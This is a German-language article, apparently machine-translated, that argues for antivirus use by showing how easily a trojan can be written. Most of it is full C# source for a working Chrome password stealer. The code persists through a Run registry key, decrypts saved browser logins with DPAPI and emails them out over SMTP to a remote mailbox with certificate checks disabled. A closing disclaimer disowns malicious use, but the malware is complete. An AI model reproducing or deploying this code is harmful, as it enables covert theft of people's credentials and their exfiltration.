Grundvirus in 20 Minuten oder warum Sie Antivirus verwenden sollten

Schöne Grüße.

Heutzutage ist die Schwelle für den Eintritt in die Welt des Programmierens erheblich gesunken - wenn das Programmieren zu Beginn des digitalen Zeitalters etwas Außergewöhnliches war, das „Schicksal der Auserwählten“, heute jeder Schüler, der sogar einen Keylogger oder Wurm googeln und sicher schreiben kann Umgang mit einem Computer. Ohne besondere Fähigkeiten können Sie Software erstellen, die PC-Benutzern, die aus dem einen oder anderen Grund Antivirenprogramme vernachlässigen, große Probleme bereiten kann.

Unter Katze finden Sie ein Beispiel für das Schreiben solcher Malware und einige Gedanken darüber, warum sie so zugänglich geworden ist.

Für den Anfang formalisieren wir also - was im Kontext dieses Artikels unter den Konzepten "Virus" und "Wurm" betrachtet wird. Formal wurde das Konzept des „Virus“ erstmals 1984 von Fred Cohen eingeführt und es klang folgendermaßen:
Wir definieren einen Computervirus als ein Programm, das andere Programme "infizieren" kann, indem es sie so modifiziert, dass sie eine möglicherweise weiterentwickelte Kopie von sich selbst enthalten

Später korrigierte er seine eigene Definition und konzentrierte sich auf die Fähigkeit, sich selbst zu verbreiten - d. H. Programmcode rekursiv kopieren. In einem grundlegenderen Sinne wurde der Virus daher als Code definiert, dessen Ausführung dazu führt, dass vor der Ausführung eine Kopie dieses Codes auf dem Band der Turing-Maschine aufgezeichnet wird, d. H. in der Zukunft.
Diese Definition ist in Bezug auf die meisten modernen Viren nicht ganz korrekt, da echte Viren nicht rekursiv und im Großen und Ganzen sogar kopiert werden müssen. Dieses Modell wird jedoch als klassisch angesehen und es ist angebracht, es zum Schreiben eines "sphärischen Virus im luftleeren Raum" zu verwenden.

Darüber hinaus im Jahr 1992 in seinem ArtikelCohen führte eine formale Definition eines Computerwurms ein. Eine vollständige formale Definition finden Sie in der Quelle, hier werde ich nur ein kurzes Zitat geben:
In jüngster Zeit wurde der Begriff "Wurm" häufig verwendet, um Programme zu beschreiben, die die Interpretation ihrer Replikate automatisch replizieren und initialisieren. 1 Im Gegensatz dazu deckt die Definition von Viren alle sich selbst replizierenden Programme ab, befasst sich jedoch nicht mit der Art und Weise, in der Replikate aktiviert werden können .

Jene. Der Grund für die Ausführung des Wurms ist möglicherweise nicht der übergeordnete Wurm, sondern je nach Auslöser, z. B. Computerstart oder Timer.

Tatsächlich ist die Klassifizierung von Viren viel weiter gefasst, und jedes Virus fällt gleichzeitig in mehrere Kategorien, selbst nur „Trojaner“ haben mehr als ein Dutzend Arten . Hier geht es nicht darum.

Wir erkennen ein weiteres Virus in dieser Galaxie. Ich werde gleich sagen, dass es nicht auf echter Hardware funktioniert, die durch ein einfaches Antivirenprogramm geschützt ist, aber es zeigt deutlich die Prinzipien, die den meisten Virenprogrammen zugrunde liegen.

Der vollständige Code unter dem Spoiler (sorgfältig gibt es viele):

Spoiler Überschrift
using System;
using System.Text;
using System.IO;
using System.Data.SQLite;
using System.Data;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Net.Mail;
using System.Net;
using Microsoft.Win32;
using System.Threading;

public class DPAPI
{
    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved,
    ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);

    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy,
    IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct DATA_BLOB
    {
        public int cbData;
        public IntPtr pbData;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct CRYPTPROTECT_PROMPTSTRUCT
    {
        public int cbSize;
        public int dwPromptFlags;
        public IntPtr hwndApp;
        public string szPrompt;
    }

    static private IntPtr NullPtr = ((IntPtr)((int)(0)));

    private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
    private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4;

    private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps)
    {
        ps.cbSize = Marshal.SizeOf(
        typeof(CRYPTPROTECT_PROMPTSTRUCT));
        ps.dwPromptFlags = 0;
        ps.hwndApp = NullPtr;
        ps.szPrompt = null;
    }

    private static void InitBLOB(byte[] data, ref DATA_BLOB blob)
    {
        // Use empty array for null parameter.
        if (data == null)
            data = new byte[0];

        // Allocate memory for the BLOB data.
        blob.pbData = Marshal.AllocHGlobal(data.Length);

        // Make sure that memory allocation was successful.
        if (blob.pbData == IntPtr.Zero)
            throw new Exception(
            "Unable to allocate data buffer for BLOB structure.");

        // Specify number of bytes in the BLOB.
        blob.cbData = data.Length;

        // Copy data from original source to the BLOB structure.
        Marshal.Copy(data, 0, blob.pbData, data.Length);
    }

    public enum KeyType { UserKey = 1, MachineKey };

    private static KeyType defaultKeyType = KeyType.UserKey;

    public static string Encrypt(string plainText)
    {
        return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText)
    {
        return Encrypt(keyType, plainText, String.Empty,
        String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy)
    {
        return Encrypt(keyType, plainText, entropy, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy, string description)
    {
        // Make sure that parameters are valid.
        if (plainText == null) plainText = String.Empty;
        if (entropy == null) entropy = String.Empty;

        // Call encryption routine and convert returned bytes into
        // a base64-encoded value.
        return Convert.ToBase64String(
        Encrypt(keyType,
        Encoding.UTF8.GetBytes(plainText),
        Encoding.UTF8.GetBytes(entropy),
        description));
    }

    public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
    {
        // Make sure that parameters are valid.
        if (plainTextBytes == null) plainTextBytes = new byte[0];
        if (entropyBytes == null) entropyBytes = new byte[0];
        if (description == null) description = String.Empty;

        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        try
        {
            // Convert plaintext bytes into a BLOB structure.
            try
            {
                InitBLOB(plainTextBytes, ref plainTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize plaintext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // When using machine-specific key, set up machine flag.
            if (keyType == KeyType.MachineKey)
                flags |= CRYPTPROTECT_LOCAL_MACHINE;

            // Call DPAPI to encrypt data.
            bool success = CryptProtectData(ref plainTextBlob,
            description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref cipherTextBlob);
            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptProtectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold ciphertext.
            byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(cipherTextBlob.pbData,
            cipherTextBytes,
            0,
            cipherTextBlob.cbData);

            // Return the result.
            return cipherTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to encrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }

    public static string Decrypt(string cipherText)
    {
        string description;

        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, out string description)
    {
        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, string entropy, out string description)
    {
        // Make sure that parameters are valid.
        if (entropy == null) entropy = String.Empty;

        return Encoding.UTF8.GetString(
        Decrypt(Convert.FromBase64String(cipherText),
        Encoding.UTF8.GetBytes(entropy),
        out description));
    }

    public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
    {
        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        // Initialize description string.
        description = String.Empty;

        try
        {
            // Convert ciphertext bytes into a BLOB structure.
            try
            {
                InitBLOB(cipherTextBytes, ref cipherTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize ciphertext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI. CryptUnprotectData does not
            // mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
            // supported flags so we will not set it up.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // Call DPAPI to decrypt data.
            bool success = CryptUnprotectData(ref cipherTextBlob,
            ref description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref plainTextBlob);

            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptUnprotectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold plaintext.
            byte[] plainTextBytes = new byte[plainTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(plainTextBlob.pbData,
            plainTextBytes,
            0,
            plainTextBlob.cbData);

            // Return the result.
            return plainTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to decrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }
}

public class Chrome
{

    static string filename = "passwords.html";
    static string db_way = "Login Data"; //    

    static string wayToDir = @"Screens\";
    static string wayToScreen;
    static string finalDir = @"C:\Program Files (x86)\Windows\ScreenSaver\";
    static void Main(string[] args)
    {
        
        Registr();
        Thread.Sleep(5 * 60 * 1000);
        Generate();
        Send();
     
    }
   
    static void Registr()
    {
        string way = Environment.GetCommandLineArgs()[0];
        try
        {
            

            if (!Directory.Exists(finalDir))
            {
                Directory.CreateDirectory(finalDir);
                foreach (string iter in Directory.GetFiles(Environment.CurrentDirectory))
                {
                   // Console.WriteLine(iter);
                    string nameOfFile = iter.Split('\\')[iter.Split('\\').Length - 1];
                    //Console.WriteLine(nameOfFile);
                    File.Copy(iter, finalDir + nameOfFile, true);
                }
                Directory.CreateDirectory(finalDir + "x64");
                Directory.CreateDirectory(finalDir + "x86");
                File.Copy(Environment.CurrentDirectory + "\\x64\\SQLite.Interop.dll", finalDir + "\\x64\\SQLite.Interop.dll");
                File.Copy(Environment.CurrentDirectory + "\\x86\\SQLite.Interop.dll", finalDir + "\\x86\\SQLite.Interop.dll");


                const string name = "SoftWare";
                string ExePath = finalDir + "soft.exe";
                File.Copy(way, ExePath, true);
                RegistryKey reg;
                reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
                try
                {
                    reg.SetValue(name, ExePath);
                    reg.Close();
                }
                catch
                {   }
            }

        }
        catch
        {   }
    }
    static void Generate()
    {
        try
        {
            string way_to_original = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
            File.Copy(way_to_original, "Login Data", true);

            StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8);

            string db_field = "logins"; //  
            byte[] entropy = null; //    .
                                   //  DPAPI      ,
                                   //   -  ,  .
            string description; //       ,     .
                                //    
            string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
            DataTable DB = new DataTable();
            string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");

            using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connect);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(DB);
                int rows = DB.Rows.Count;

                for (int i = 0; i < rows; i++)
                {
                    Writer.Write(i + 1 + ") "); //        "--". 
                    Writer.WriteLine(DB.Rows[i][1] + "<br>"); //   
                    Writer.WriteLine(DB.Rows[i][3] + "<br>"); // 
                                                              //    
                    byte[] byteArray = (byte[])DB.Rows[i][5];
                    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                    string password = new UTF8Encoding(true).GetString(decrypted);
                    Writer.WriteLine(password + "<br><br>");
                }

            }

            Writer.Close();
        }
        catch
        {   }
    }

    static void Send()
    {
        MailAddress from = new MailAddress("l**************d@gmail.com", "Passwords");
        MailAddress to = new MailAddress("a***********v@yandex.ru");
        MailMessage m = new MailMessage(from, to);
        m.Subject = (DateTime.Now).ToString();
        m.Body = "";
        m.IsBodyHtml = true;
        SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); ;
        smtp.Credentials = new NetworkCredential("l*****************d@gmail.com", "q********l");
        smtp.EnableSsl = true;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        m.Attachments.Add(new Attachment(filename));
        try
        {
            smtp.Send(m);
        }
        catch { }
    }


}


Der größte Teil des Codes zum Entschlüsseln des Passworts stammt aus dem entsprechenden Artikel zum Speichern von Passwörtern in Chrome , der in der Tat einfach zu googeln und gemeinfrei zu sein ist.

Alles, was übrig bleibt, um dieses Softwareprodukt in einen Trojaner zu verwandeln, ist die Möglichkeit, einen Computer ohne Wissen des Benutzers damit zu „infizieren“, eine auslösende Bedingung hinzuzufügen und zu lehren, gestohlene Informationen an einen Remote-Server zu senden.
Dementsprechend ist im Wesentlichen jede der Stufen gut verfolgt. In der Registrierungsfunktion kopiert sich das Programm in den Dienstordner und tritt beim Booten des Betriebssystems in die automatische Ausführung ein. Im Generate-Block generiert es eine Datei mit Kennwörtern und Anmeldungen. Alles ist etwas verwirrend, aber der größte Teil des hier verwendeten Codes wird aus offenen Quellen kopiert. Der Code wird an Ort und Stelle kommentiert, hier sehe ich keinen Grund zur Wiederholung. Und schließlich sendet die Sendefunktion die Passwortdatei an die angegebene Mail. Der Code erfordert auch keine umfassenden Kenntnisse der Sockets und des TCP / IP-Stacks - in .NET ist alles ziemlich gut in eine übergeordnete Klasse für die Arbeit mit E-Mails eingebunden. Bei Bedarf können Sie Daten an eines der Protokolle übertragen, einschließlich POST-Anforderungen und FTP-Server. Dies müsste den Server jedoch nicht erhöhen - Sie können die E-Mail verwenden.

Als Ergebnis haben wir nach einer halben Stunde Arbeit mit dem Code einen vollwertigen Trojaner erhalten, der natürlich von Virenschutzmitteln gefangen wird. Wenn Sie dies jedoch nicht berücksichtigen, funktioniert er vollständig korrekt. Und zu einer Zeit brauchte das Schreiben eines solchen Programms viele hundert Codezeilen. Jetzt dauerte es ein paar Dutzend Minuten.

Ist das gut oder schlecht? Die Frage ist sehr offen, denn einerseits erhöht ein Rückgang des Berufseinstiegs den Zustrom von Personal, in letzter Zeit ist es einfacher geworden, ein Arbeitsprogramm zu schreiben, es gab mehr Programme, und in einer Marktwirtschaft ist dies sicherlich gut, weil der Wettbewerb die Qualität verbessert. Andererseits bedeutet eine niedrige Einstiegsschwelle eine große Anzahl von gering- und mittelqualifizierten Mitarbeitern, wodurch die Qualität von Softwareprodukten unter Berücksichtigung aller Tools, die die Arbeit des Entwicklers erleichtern - moderne Programmiersprachen auf hoher Ebene, integrierte Entwicklungsumgebungen, Debugger usw. - niedriger als gewünscht bleibt. .

Natürlich - da es mehr Softwareprodukte gibt, gibt es mehr Viren. Natürlich weiß ein ordentlicher und aufmerksamer Benutzer normalerweise, wie er sie vermeiden kann - er folgt nicht den Links aus den Buchstaben und fügt keine nicht verifizierten Flash-Laufwerke ein. Aber die Tatsache bleibt bestehen - jetzt, wo jeder Schüler weiß, wie man ein grundlegendes Virus schreibt -, sind Antivirenprogramme populärer geworden als vor ein paar Jahrzehnten.

Der Autor empfiehlt in keiner Weise, schädliche Software zu erstellen, und erinnert daran, dass der illegale Zugriff auf private Informationen strafrechtlich verfolgt wird.

All Articles